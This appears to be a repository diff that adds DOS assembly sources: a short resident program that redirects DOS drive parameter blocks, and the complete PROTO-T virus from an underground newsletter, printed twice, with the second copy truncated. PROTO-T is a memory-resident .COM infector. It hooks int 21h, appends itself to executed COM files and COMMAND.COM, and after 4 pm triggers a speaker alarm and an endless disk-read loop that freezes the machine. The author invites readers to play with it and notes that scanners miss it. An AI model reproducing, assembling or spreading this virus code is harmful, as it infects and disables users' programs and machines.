@ -0,0 +1,75 @@
|
|||
code segment public 'code'
|
||||
assume cs:code, ds:code, es:code
|
||||
org 100h
|
||||
|
||||
Main: mov ah,30h ; fn 30h = Get Dosversion
|
||||
int 21h ; int 21h
|
||||
cmp al,4 ; major dosversion
|
||||
sbb si,si
|
||||
mov ah,52h ; get internal list of lists
|
||||
int 21h ; int 21h
|
||||
lds bx,es:[bx] ; get pointer to first drive
|
||||
; paramenter block
|
||||
|
||||
Search: mov ax,ds:[bx+si+15h] ; get segment of device header
|
||||
cmp ax,70h ; dos device header ??
|
||||
jne Next ; no, go to next device
|
||||
cmp byte ptr ds:[bx],0
|
||||
je Next
|
||||
xchg ax,cx
|
||||
mov di,ds:[bx+si+13h] ; get offset of device header
|
||||
mov word ptr ds:[bx+si+13h],offset Header
|
||||
mov ds:[bx+si+15h],cs ; set addres of new device
|
||||
Next: lds bx,ds:[bx+si+19h] ; next drive parameter block
|
||||
cmp bx,-1 ; last block ?
|
||||
jne Search ; no, go to Search
|
||||
jcxz Error
|
||||
|
||||
mov ds,cx
|
||||
mov si,di
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset Header
|
||||
cld
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
mov ax,offset Strategy
|
||||
stosw
|
||||
mov ax,offset Interrupt
|
||||
stosw
|
||||
push di
|
||||
mov di,offset Strategy
|
||||
mov al,0eah
|
||||
stosb
|
||||
movsw
|
||||
mov ax,cx
|
||||
stosw
|
||||
mov di,offset Interrupt
|
||||
mov al,0eah
|
||||
stosb
|
||||
movsw
|
||||
mov ax,cx
|
||||
stosw
|
||||
pop di
|
||||
movsw
|
||||
mov ax,3100h
|
||||
mov dx,20h
|
||||
int 21h
|
||||
|
||||
Error: mov ax,4c01h
|
||||
int 21h
|
||||
|
||||
Header db 12 dup(?)
|
||||
Interrupt db 5 dup(?)
|
||||
Strategy db 5 dup(?)
|
||||
|
||||
|
||||
code ends
|
||||
|
||||
end Main
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
@ -0,0 +1,420 @@
|
|||
;PROTO-T virus: a simple, memory resident .COM infector for
|
||||
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
|
||||
;
|
||||
;On call, PROTO-T will manipulate the interrupt table directly, hooking
|
||||
;int 21h and decreasing the amount of memory by a little over 1k.
|
||||
;It will infect COMMAND.COM
|
||||
;if a shell is installed while the virus is in RAM. At start,
|
||||
;PROTO-T polls the system time. If it is after 4:00 in the
|
||||
;afternoon, the speaker will issue a hideous ringing noise and the
|
||||
;hard file will be read very quickly, faking a massive Michelangelo-style
|
||||
;trashing. The disk will continue to read until the user restores
|
||||
;control by booting. (I took this slick routine from the first issue
|
||||
;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American
|
||||
;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling
|
||||
;to those surprised by it. Heh.
|
||||
;
|
||||
;Files infected with PROTO-T will generally function normally until
|
||||
;4 in the afternoon, when the virus locks them up until the next
|
||||
;day by way of the nuisance routines described above. Infected files have
|
||||
;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]'
|
||||
;appended to them at the end where the body of the virus is located.
|
||||
;
|
||||
;PROTO-T is not currently scanned. However, its modifications are easily
|
||||
;flagged by a good file integrity checker. For example, Dr. Solomon's
|
||||
;Toolkit picked PROTO-T changes off an infected disk with both the QCV
|
||||
;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately,
|
||||
;the novice user is left on his own by the Toolkit to determine the cause
|
||||
;of the changes - a drawback which diminishes the software's value
|
||||
;considerably, IMHO.
|
||||
;
|
||||
;I encourage you to play with PROTO-T by Dumbco. It is a
|
||||
;well-behaved resident virus, useful in demonstrating the behavior
|
||||
;of simple resident infectors and how they can "pop-up" suddenly and
|
||||
;ruin your day. Of course, files infected by PROTO-T are, for all
|
||||
;intents and purposes, useless for future computing unless you like
|
||||
;the idea of a resident virus keeping you company and freezing up
|
||||
;your work late in the afternoon.
|
||||
;
|
||||
;Known incompatibilities: PROTO-T will behave weirdly on machines
|
||||
;using SYMANTEC's NDOS as a command processor. And some caches will
|
||||
;cause PROTO-T to hang the machine immediately. For best results,
|
||||
;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory
|
||||
;management seems to work fine. (Ain't this somethin': software
|
||||
;advisories with a virus!)
|
||||
;
|
||||
;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries,
|
||||
;& our European friends Dark Helmet and Peter Venkmann with their very
|
||||
;complete code archives (in particular, the CIVIL_II template). The
|
||||
;'scarey ' subroutine was excerpted from "Computer Virus Developments
|
||||
;Quarterly", Vol. 1., No.1.
|
||||
|
||||
|
||||
.radix 16
|
||||
code segment
|
||||
model small
|
||||
assume cs:code, ds:code, es:code
|
||||
|
||||
org 100h
|
||||
|
||||
length equ offset last - begin
|
||||
virus_length equ length / 16d
|
||||
|
||||
host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection
|
||||
;marker in host
|
||||
|
||||
begin:
|
||||
|
||||
call virus ;make call to
|
||||
;push instruction pointer on stack
|
||||
|
||||
virus:
|
||||
|
||||
|
||||
mov ah,02Ch ;DOS get time function
|
||||
int 021h
|
||||
mov al,ch ;Copy hour into AL
|
||||
cbw ;Sign-extend AL into AX
|
||||
cmp ax,0010h ;Did the function return 16 (4 pm)?
|
||||
jge malfunkshun ;If after 4 pm, do Proto-T thang!
|
||||
jmp getonwithit
|
||||
|
||||
malfunkshun: ;sound and fury start
|
||||
cli ;turn off interrupts
|
||||
mov dx,2
|
||||
agin1: mov bp,40 ;do 40 cycles of sound
|
||||
mov si,1000 ;1st frequency
|
||||
mov di,2000 ;2nd frequency
|
||||
mov al,10110110b ;address of channel 2 mode 3
|
||||
out 43h,al ;send to port
|
||||
agin2: mov bx,si ;place sound number in bx
|
||||
backerx: mov ax,bx ;now put in ax
|
||||
out 42h,al
|
||||
mov al,ah
|
||||
out 42h,al
|
||||
in al,61h ;get port value
|
||||
or al,00000011b ;turn speaker on
|
||||
out 61h,al
|
||||
mov cx,2EE0h ;delay
|
||||
looperx: loop looperx ;do nothing loop so sound is audible
|
||||
xchg di,si
|
||||
in al,61h ;get port value
|
||||
and al,11111100b ;AND - turn speaker off
|
||||
out 61h,al ;send it
|
||||
dec bp ;decrement repeat count
|
||||
jnz agin2 ;if not = 0 do again
|
||||
mov ax,10 ;10 repeats of 60000 loops
|
||||
back: mov cx,0EA60h ;loop count (in hex for TASM)
|
||||
loopery: loop loopery ;delay loops - no sound between bursts
|
||||
dec ax
|
||||
jnz back ;if not = 0 loop again
|
||||
dec dx
|
||||
jnz agin1 ;if not = 0 do whole thing again
|
||||
sti ;restore interrupts
|
||||
|
||||
|
||||
|
||||
mov si,0 ;scarey part: drive reads real
|
||||
scarey: lodsb ;fast ala Michelangelo-style
|
||||
mov ah,al ;over-write, but this routine only
|
||||
lodsb ;gets random bytes here for a
|
||||
and al,3 ;cylinder to READ
|
||||
mov dl,80h
|
||||
mov dh,al
|
||||
mov ch,ah
|
||||
mov cl,1
|
||||
mov bx,offset last ;buffer to read into
|
||||
mov ax,201h
|
||||
int 13h
|
||||
jmp short scarey ;yow! scarey! just think if this
|
||||
;was made by someone not as nice as
|
||||
;me
|
||||
|
||||
note db 'This program is sick. [PROTO-T by Dumbco, INC.]'
|
||||
|
||||
getonwithit: pop bp ; get IP from stack.
|
||||
sub bp,109h ; adjust IP.
|
||||
|
||||
restore_host: mov di,0100h ; recover beginning
|
||||
lea si,ds:[carrier_begin+bp] ; of carrier program.
|
||||
mov cx,06h
|
||||
rep movsb
|
||||
|
||||
|
||||
check_resident: mov ah,0A0h ;check if virus
|
||||
int 21h ;already installed.
|
||||
cmp ax,0001h
|
||||
je end_virus
|
||||
|
||||
adjust_memory: mov ax,cs ;get Memory
|
||||
dec ax ;Control Block
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:[0000],5a ;check if last
|
||||
;block -
|
||||
jne abort ;if not last block,
|
||||
;end
|
||||
mov ax,ds:[0003] ;decrease memory
|
||||
sub ax,50 ;by 1kb
|
||||
mov ds:0003,ax
|
||||
|
||||
install_virus: mov bx,ax ;PSP
|
||||
mov ax,es ;virus start
|
||||
add ax,bx ;in memory
|
||||
mov es,ax
|
||||
mov cx,length ;cx = length virus
|
||||
mov ax,ds ;restore ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
lea si,ds:[begin+bp] ;point to start virus
|
||||
lea di,es:0100 ;point to destination
|
||||
rep movsb ;copy virus in
|
||||
;memory
|
||||
mov [virus_segment+bp],es ;store start of virus
|
||||
;in memory
|
||||
mov ax,cs ;restore extra segment
|
||||
mov es,ax
|
||||
|
||||
hook_vector: cli ;disable interrupts
|
||||
;because we're manipulating
|
||||
mov ax,3521h ;the interrupt table and a
|
||||
;crash would look bad
|
||||
int 21h ;function 3521h - retrieve
|
||||
mov ds,[virus_segment+bp] ;address of current handler
|
||||
mov ds:[old_21h-6h],bx
|
||||
mov ds:[old_21h+2-6h],es
|
||||
mov dx,offset main_virus - 6h
|
||||
mov ax,2521h ;copy new address (virus) to
|
||||
int 21h ;interrupt table
|
||||
sti ;interrupts on
|
||||
|
||||
abort: mov ax,cs ;restore everything
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
xor ax,ax
|
||||
|
||||
end_virus:
|
||||
|
||||
|
||||
mov bx,0100h ;jump to beginning
|
||||
jmp bx ;of host file
|
||||
|
||||
|
||||
;***************************************************************************
|
||||
|
||||
main_virus: pushf
|
||||
cmp ah,0A0h ;check for virus
|
||||
jne new_21h ;no virus call
|
||||
mov ax,0001h ;ax = id
|
||||
popf ;return id
|
||||
iret
|
||||
|
||||
new_21h: push ds ;save registers
|
||||
push es
|
||||
push di
|
||||
push si
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
|
||||
cmp ah,40h
|
||||
jne check_05
|
||||
cmp bx,0004h
|
||||
jne check_05
|
||||
|
||||
check_05: cmp ah,05h
|
||||
jne check_exec
|
||||
|
||||
check_exec: cmp ax,04B00h ;intercept execute function
|
||||
jne continue
|
||||
mov cs:[name_seg-6],ds
|
||||
mov cs:[name_off-6],dx
|
||||
jmp chk_com ;goto check target
|
||||
|
||||
continue: pop dx ;restore registers
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop si
|
||||
pop di
|
||||
pop es
|
||||
pop ds
|
||||
popf
|
||||
jmp dword ptr cs:[old_21h-6]
|
||||
|
||||
chk_com: cld ;check extension of loaded file
|
||||
mov di,dx ;for COM
|
||||
push ds
|
||||
pop es
|
||||
mov al,'.' ;search extension
|
||||
repne scasb ;for 'COM', so
|
||||
cmp word ptr es:[di],'OC' ;check 'CO'
|
||||
jne continue ;and
|
||||
cmp word ptr es:[di+2],'M' ;check 'M'
|
||||
jne continue
|
||||
|
||||
call set_int24h
|
||||
call set_attribute
|
||||
|
||||
open_file: mov ds,cs:[name_seg-6] ;name of target file
|
||||
mov dx,cs:[name_off-6]
|
||||
mov ax,3D02h ;open file
|
||||
call do_int21h ;simulate int21 call, see below
|
||||
jc close_file
|
||||
push cs
|
||||
pop ds
|
||||
mov [handle-6],ax
|
||||
mov bx,ax
|
||||
|
||||
call get_date
|
||||
|
||||
check_infect: push cs
|
||||
pop ds
|
||||
mov bx,[handle-6] ;read first 6 bytes
|
||||
mov ah,3fh
|
||||
mov cx,06h
|
||||
lea dx,[carrier_begin-6]
|
||||
call do_int21h
|
||||
mov al, byte ptr [carrier_begin-6]+3 ; check initials
|
||||
mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
|
||||
cmp ax,[initials-6]
|
||||
je save_date ;if equal, already
|
||||
;infected
|
||||
|
||||
get_length: mov ax,4200h ;set file pointer to begin
|
||||
call move_pointer
|
||||
mov ax,4202h ;set file pointer to end
|
||||
call move_pointer
|
||||
sub ax,03h ;ax = file length
|
||||
mov [length_file-6],ax
|
||||
|
||||
call write_jmp
|
||||
call write_virus ;summon write virus to file
|
||||
|
||||
save_date: push cs ;save date of file
|
||||
pop ds
|
||||
mov bx,[handle-6]
|
||||
mov dx,[date-6]
|
||||
mov cx,[time-6]
|
||||
mov ax,5701h
|
||||
call do_int21h
|
||||
|
||||
close_file: mov bx,[handle-6]
|
||||
mov ah,03eh ;close file
|
||||
call do_int21h
|
||||
|
||||
mov dx,cs:[old_24h-6] ;restore int24h
|
||||
mov ds,cs:[old_24h+2-6]
|
||||
mov ax,2524h
|
||||
call do_int21h
|
||||
|
||||
jmp continue
|
||||
|
||||
|
||||
|
||||
|
||||
new_24h: mov al,3 ;critical error handler
|
||||
iret
|
||||
|
||||
|
||||
;---------------------------------------------------------------------------
|
||||
; PROCEDURES
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
move_pointer: push cs
|
||||
pop ds
|
||||
mov bx,[handle-6]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call do_int21h
|
||||
ret
|
||||
;since virus owns int21, a
|
||||
do_int21h: pushf ;direct call would be counter
|
||||
call dword ptr cs:[old_21h-6];productive, so do a pushf
|
||||
ret ;and call combination - Dark
|
||||
;Angel's virus guide is great
|
||||
write_jmp: push cs ;at expalining this
|
||||
pop ds
|
||||
mov ax,4200h ;set pointer to beginning of file
|
||||
call move_pointer
|
||||
mov ah,40h
|
||||
mov cx,01h
|
||||
lea dx,[jump-6]
|
||||
call do_int21h
|
||||
mov ah,40h
|
||||
mov cx,02h
|
||||
lea dx,[length_file-6]
|
||||
call do_int21h
|
||||
mov ah,40h
|
||||
mov cx,02h
|
||||
lea dx,[initials-6]
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
write_virus: push cs
|
||||
pop ds
|
||||
mov ax,4202h ;write to file function
|
||||
call move_pointer
|
||||
mov ah,40
|
||||
mov cx,length ;virus length
|
||||
mov dx,100
|
||||
call do_int21h ;do it
|
||||
ret
|
||||
|
||||
get_date: mov ax,5700h ;retrieve date function
|
||||
call do_int21h ;do it
|
||||
push cs
|
||||
pop ds
|
||||
mov [date-6],dx ;restore date & time
|
||||
mov [time-6],cx
|
||||
ret
|
||||
;set up critical error handler
|
||||
set_int24h: mov ax,3524h ;request address of current handler
|
||||
call do_int21h ;simulate int21 call
|
||||
mov cs:[old_24h-6],bx
|
||||
mov cs:[old_24h+2-6],es
|
||||
mov dx,offset new_24h-6
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,2524h ;set vector to virus handler
|
||||
call do_int21h ;do it
|
||||
ret
|
||||
|
||||
set_attribute: mov ax,4300h ;get attribute
|
||||
mov ds,cs:[name_seg-6]
|
||||
mov dx,cs:[name_off-6]
|
||||
call do_int21h
|
||||
and cl,0feh ;set attribute
|
||||
mov ax,4301h
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;---------------------------------------------------------------------------
|
||||
; DATA
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
|
||||
old_21h dw 00h,00h
|
||||
old_17h dw 00h,00h
|
||||
old_24h dw 00h,00h
|
||||
carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
|
||||
jump db 0E9h
|
||||
name_seg dw ?
|
||||
name_off dw ?
|
||||
virus_segment dw ?
|
||||
length_file dw ?
|
||||
handle dw ?
|
||||
date dw ?
|
||||
time dw ?
|
||||
initials dw 4844h
|
||||
last db 090h
|
||||
|
||||
code ends
|
||||
end host
|
|
@ -0,0 +1,420 @@
|
|||
;PROTO-T virus: a simple, memory resident .COM infector for
|
||||
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
|
||||
;
|
||||
;On call, PROTO-T will manipulate the interrupt table directly, hooking
|
||||
;int 21h and decreasing the amount of memory by a little over 1k.
|
||||
;It will infect COMMAND.COM
|
||||
;if a shell is installed while the virus is in RAM. At start,
|
||||
;PROTO-T polls the system time. If it is after 4:00 in the
|
||||
;afternoon, the speaker will issue a hideous ringing noise and the
|
||||
;hard file will be read very quickly, faking a massive Michelangelo-style
|
||||
;trashing. The disk will continue to read until the user restores
|
||||
;control by booting. (I took this slick routine from the first issue
|
||||
;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American
|
||||
;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling
|
||||
;to those surprised by it. Heh.
|
||||
;
|
||||
;Files infected with PROTO-T will generally function normally until
|
||||
;4 in the afternoon, when the virus locks them up until the next
|
||||
;day by way of the nuisance routines described above. Infected files have
|
||||
;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]'
|
||||
;appended to them at the end where the body of the virus is located.
|
||||
;
|
||||
;PROTO-T is not currently scanned. However, its modifications are easily
|
||||
;flagged by a good file integrity checker. For example, Dr. Solomon's
|
||||
;Toolkit picked PROTO-T changes off an infected disk with both the QCV
|
||||
;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately,
|
||||
;the novice user is left on his own by the Toolkit to determine the cause
|
||||
;of the changes - a drawback which diminishes the software's value
|
||||
;considerably, IMHO.
|
||||
;
|
||||
;I encourage you to play with PROTO-T by Dumbco. It is a
|
||||
;well-behaved resident virus, useful in demonstrating the behavior
|
||||
;of simple resident infectors and how they can "pop-up" suddenly and
|
||||
;ruin your day. Of course, files infected by PROTO-T are, for all
|
||||
;intents and purposes, useless for future computing unless you like
|
||||
;the idea of a resident virus keeping you company and freezing up
|
||||
;your work late in the afternoon.
|
||||
;
|
||||
;Known incompatibilities: PROTO-T will behave weirdly on machines
|
||||
;using SYMANTEC's NDOS as a command processor. And some caches will
|
||||
;cause PROTO-T to hang the machine immediately. For best results,
|
||||
;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory
|
||||
;management seems to work fine. (Ain't this somethin': software
|
||||
;advisories with a virus!)
|
||||
;
|
||||
;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries,
|
||||
;& our European friends Dark Helmet and Peter Venkmann with their very
|
||||
;complete code archives (in particular, the CIVIL_II template). The
|
||||
;'scarey ' subroutine was excerpted from "Computer Virus Developments
|
||||
;Quarterly", Vol. 1., No.1.
|
||||
|
||||
|
||||
.radix 16
|
||||
code segment
|
||||
model small
|
||||
assume cs:code, ds:code, es:code
|
||||
|
||||
org 100h
|
||||
|
||||
length equ offset last - begin
|
||||
virus_length equ length / 16d
|
||||
|
||||
host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection
|
||||
;marker in host
|
||||
|
||||
begin:
|
||||
|
||||
call virus ;make call to
|
||||
;push instruction pointer on stack
|
||||
|
||||
virus:
|
||||
|
||||
|
||||
mov ah,02Ch ;DOS get time function
|
||||
int 021h
|
||||
mov al,ch ;Copy hour into AL
|
||||
cbw ;Sign-extend AL into AX
|
||||
cmp ax,0010h ;Did the function return 16 (4 pm)?
|
||||
jge malfunkshun ;If after 4 pm, do Proto-T thang!
|
||||
jmp getonwithit
|
||||
|
||||
malfunkshun: ;sound and fury start
|
||||
cli ;turn off interrupts
|
||||
mov dx,2
|
||||
agin1: mov bp,40 ;do 40 cycles of sound
|
||||
mov si,1000 ;1st frequency
|
||||
mov di,2000 ;2nd frequency
|
||||
mov al,10110110b ;address of channel 2 mode 3
|
||||
out 43h,al ;send to port
|
||||
agin2: mov bx,si ;place sound number in bx
|
||||
backerx: mov ax,bx ;now put in ax
|
||||
out 42h,al
|
||||
mov al,ah
|
||||
out 42h,al
|
||||
in al,61h ;get port value
|
||||
or al,00000011b ;turn speaker on
|
||||
out 61h,al
|
||||
mov cx,2EE0h ;delay
|
||||
looperx: loop looperx ;do nothing loop so sound is audible
|
||||
xchg di,si
|
||||
in al,61h ;get port value
|
||||
and al,11111100b ;AND - turn speaker off
|
||||
out 61h,al ;send it
|
||||
dec bp ;decrement repeat count
|
||||
jnz agin2 ;if not = 0 do again
|
||||
mov ax,10 ;10 repeats of 60000 loops
|
||||
back: mov cx,0EA60h ;loop count (in hex for TASM)
|
||||
loopery: loop loopery ;delay loops - no sound between bursts
|
||||
dec ax
|
||||
jnz back ;if not = 0 loop again
|
||||
dec dx
|
||||
jnz agin1 ;if not = 0 do whole thing again
|
||||
sti ;restore interrupts
|
||||
|
||||
|
||||
|
||||
mov si,0 ;scarey part: drive reads real
|
||||
scarey: lodsb ;fast ala Michelangelo-style
|
||||
mov ah,al ;over-write, but this routine only
|
||||
lodsb ;gets random bytes here for a
|
||||
and al,3 ;cylinder to READ
|
||||
mov dl,80h
|
||||
mov dh,al
|
||||
mov ch,ah
|
||||
mov cl,1
|
||||
mov bx,offset last ;buffer to read into
|
||||
mov ax,201h
|
||||
int 13h
|
||||
jmp short scarey ;yow! scarey! just think if this
|
||||
;was made by someone not as nice as
|
||||
;me
|
||||
|
||||
note db 'This program is sick. [PROTO-T by Dumbco, INC.]'
|
||||
|
||||
getonwithit: pop bp ; get IP from stack.
|
||||
sub bp,109h ; adjust IP.
|
||||
|
||||
restore_host: mov di,0100h ; recover beginning
|
||||
lea si,ds:[carrier_begin+bp] ; of carrier program.
|
||||
mov cx,06h
|
||||
rep movsb
|
||||
|
||||
|
||||
check_resident: mov ah,0A0h ;check if virus
|
||||
int 21h ;already installed.
|
||||
cmp ax,0001h
|
||||
je end_virus
|
||||
|
||||
adjust_memory: mov ax,cs ;get Memory
|
||||
dec ax ;Control Block
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:[0000],5a ;check if last
|
||||
;block -
|
||||
jne abort ;if not last block,
|
||||
;end
|
||||
mov ax,ds:[0003] ;decrease memory
|
||||
sub ax,50 ;by 1kb
|
||||
mov ds:0003,ax
|
||||
|
||||
install_virus: mov bx,ax ;PSP
|
||||
mov ax,es ;virus start
|
||||
add ax,bx ;in memory
|
||||
mov es,ax
|
||||
mov cx,length ;cx = length virus
|
||||
mov ax,ds ;restore ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
lea si,ds:[begin+bp] ;point to start virus
|
||||
lea di,es:0100 ;point to destination
|
||||
rep movsb ;copy virus in
|
||||
;memory
|
||||
mov [virus_segment+bp],es ;store start of virus
|
||||
;in memory
|
||||
mov ax,cs ;restore extra segment
|
||||
mov es,ax
|
||||
|
||||
hook_vector: cli ;disable interrupts
|
||||
;because we're manipulating
|
||||
mov ax,3521h ;the interrupt table and a
|
||||
;crash would look bad
|
||||
int 21h ;function 3521h - retrieve
|
||||
mov ds,[virus_segment+bp] ;address of current handler
|
||||
mov ds:[old_21h-6h],bx
|
||||
mov ds:[old_21h+2-6h],es
|
||||
mov dx,offset main_virus - 6h
|
||||
mov ax,2521h ;copy new address (virus) to
|
||||
int 21h ;interrupt table
|
||||
sti ;interrupts on
|
||||
|
||||
abort: mov ax,cs ;restore everything
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
xor ax,ax
|
||||
|
||||
end_virus:
|
||||
|
||||
|
||||
mov bx,0100h ;jump to beginning
|
||||
jmp bx ;of host file
|
||||
|
||||
|
||||
;***************************************************************************
|
||||
|
||||
main_virus: pushf
|
||||
cmp ah,0A0h ;check for virus
|
||||
jne new_21h ;no virus call
|
||||
mov ax,0001h ;ax = id
|
||||
popf ;return id
|
||||
iret
|
||||
|
||||
new_21h: push ds ;save registers
|
||||
push es
|
||||
push di
|
||||
push si
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
|
||||
cmp ah,40h
|
||||
jne check_05
|
||||
cmp bx,0004h
|
||||
jne check_05
|
||||
|
||||
check_05: cmp ah,05h
|
||||
jne check_exec
|
||||
|
||||
check_exec: cmp ax,04B00h ;intercept execute function
|
||||
jne continue
|
||||
mov cs:[name_seg-6],ds
|
||||
mov cs:[name_off-6],dx
|
||||
jmp chk_com ;goto check target
|
||||
|
||||
continue: pop dx ;restore registers
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop si
|
||||
pop di
|
||||
pop es
|
||||
pop ds
|
||||
popf
|
||||
jmp dword ptr cs:[old_21h-6]
|
||||
|
||||
chk_com: cld ;check extension of loaded file
|
||||
mov di,dx ;for COM
|
||||
push ds
|
||||
pop es
|
||||
mov al,'.' ;search extension
|
||||
repne scasb ;for 'COM', so
|
||||
cmp word ptr es:[di],'OC' ;check 'CO'
|
||||
jne continue ;and
|
||||
cmp word ptr es:[di+2],'M' ;check 'M'
|
||||
jne continue
|
||||
|
||||
call set_int24h
|
||||
call set_attribute
|
||||
|
||||
open_file: mov ds,cs:[name_seg-6] ;name of target file
|
||||
mov dx,cs:[name_off-6]
|
||||
mov ax,3D02h ;open file
|
||||
call do_int21h ;simulate int21 call, see below
|
||||
jc close_file
|
||||
push cs
|
||||
pop ds
|
||||
mov [handle-6],ax
|
||||
mov bx,ax
|
||||
|
||||
call get_date
|
||||
|
||||
check_infect: push cs
|
||||
pop ds
|
||||
mov bx,[handle-6] ;read first 6 bytes
|
||||
mov ah,3fh
|
||||
mov cx,06h
|
||||
lea dx,[carrier_begin-6]
|
||||
call do_int21h
|
||||
mov al, byte ptr [carrier_begin-6]+3 ; check initials
|
||||
mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
|
||||
cmp ax,[initials-6]
|
||||
je save_date ;if equal, already
|
||||
;infected
|
||||
|
||||
get_length: mov ax,4200h ;set file pointer to begin
|
||||
call move_pointer
|
||||
mov ax,4202h ;set file pointer to end
|
||||
call move_pointer
|
||||
sub ax,03h ;ax = file length
|
||||
mov [length_file-6],ax
|
||||
|
||||
call write_jmp
|
||||
call write_virus ;summon write virus to file
|
||||
|
||||
save_date: push cs ;save date of file
|
||||
pop ds
|
||||
mov bx,[handle-6]
|
||||
mov dx,[date-6]
|
||||
mov cx,[time-6]
|
||||
mov ax,5701h
|
||||
call do_int21h
|
||||
|
||||
close_file: mov bx,[handle-6]
|
||||
mov ah,03eh ;close file
|
||||
call do_int21h
|
||||
|
||||
mov dx,cs:[old_24h-6] ;restore int24h
|
||||
mov ds,cs:[old_24h+2-6]
|
||||
mov ax,2524h
|
||||
call do_int21h
|
||||
|
||||
jmp continue
|
||||
|
||||
|
||||
|
||||
|
||||
new_24h: mov al,3 ;critical error handler
|
||||
iret
|
||||
|
||||
|
||||
;---------------------------------------------------------------------------
|
||||
; PROCEDURES
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
move_pointer: push cs
|
||||
pop ds
|
||||
mov bx,[handle-6]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call do_int21h
|
||||
ret
|
||||
;since virus owns int21, a
|
||||
do_int21h: pushf ;direct call would be counter
|
||||
call dword ptr cs:[old_21h-6];productive, so do a pushf
|
||||
ret ;and call combination - Dark
|
||||
;Angel's virus guide is great
|
||||
write_jmp: push cs ;at expalining this
|
||||
pop ds
|
||||
mov ax,4200h ;set pointer to beginning of file
|
||||
call move_pointer
|
||||
mov ah,40h
|
||||
mov cx,01h
|
||||
lea dx,[jump-6]
|
||||
call do_int21h
|
||||
mov ah,40h
|
||||
mov cx,02h
|
||||
lea dx,[length_file-6]
|
||||
call do_int21h
|
||||
mov ah,40h
|
||||
mov cx,02h
|
||||
lea dx,[initials-6]
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
write_virus: push cs
|
||||
pop ds
|
||||
mov ax,4202h ;write to file function
|
||||
call move_pointer
|
||||
mov ah,40
|
||||
mov cx,length ;virus length
|
||||
mov dx,100
|
||||
call do_int21h ;do it
|
||||
ret
|
||||
|
||||
get_date: mov ax,5700h ;retrieve date function
|
||||
call do_int21h ;do it
|
||||
push cs
|
||||
pop ds
|
||||
mov [date-6],dx ;restore date & time
|
||||
mov [time-6],cx
|
||||
ret
|
||||
;set up critical error handler
|
||||
set_int24h: mov ax,3524h ;request address of current handler
|
||||
call do_int21h ;simulate int21 call
|
||||
mov cs:[old_24h-6],bx
|
||||
mov cs:[old_24h+2-6],es
|
||||
mov dx,offset new_24h-6
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,2524h ;set vector to virus handler
|
||||
call do_int21h ;do it
|
||||
ret
|
||||
|
||||
set_attribute: mov ax,4300h ;get attribute
|
||||
mov ds,cs:[name_seg-6]
|
||||
mov dx,cs:[name_off-6]
|
||||
call do_int21h
|
||||
and cl,0feh ;set attribute
|
||||
mov ax,4301h
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;---------------------------------------------------------------------------
|
||||
; DATA
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
|
||||
old_21h dw 00h,00h
|
||||
old_17h dw 00h,00h
|
||||
old_24h dw 00h,00h
|
||||
carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
|
||||
jump db 0E9h
|
||||
name_seg dw ?
|
||||
name_off dw ?
|
||||
virus_segment dw ?
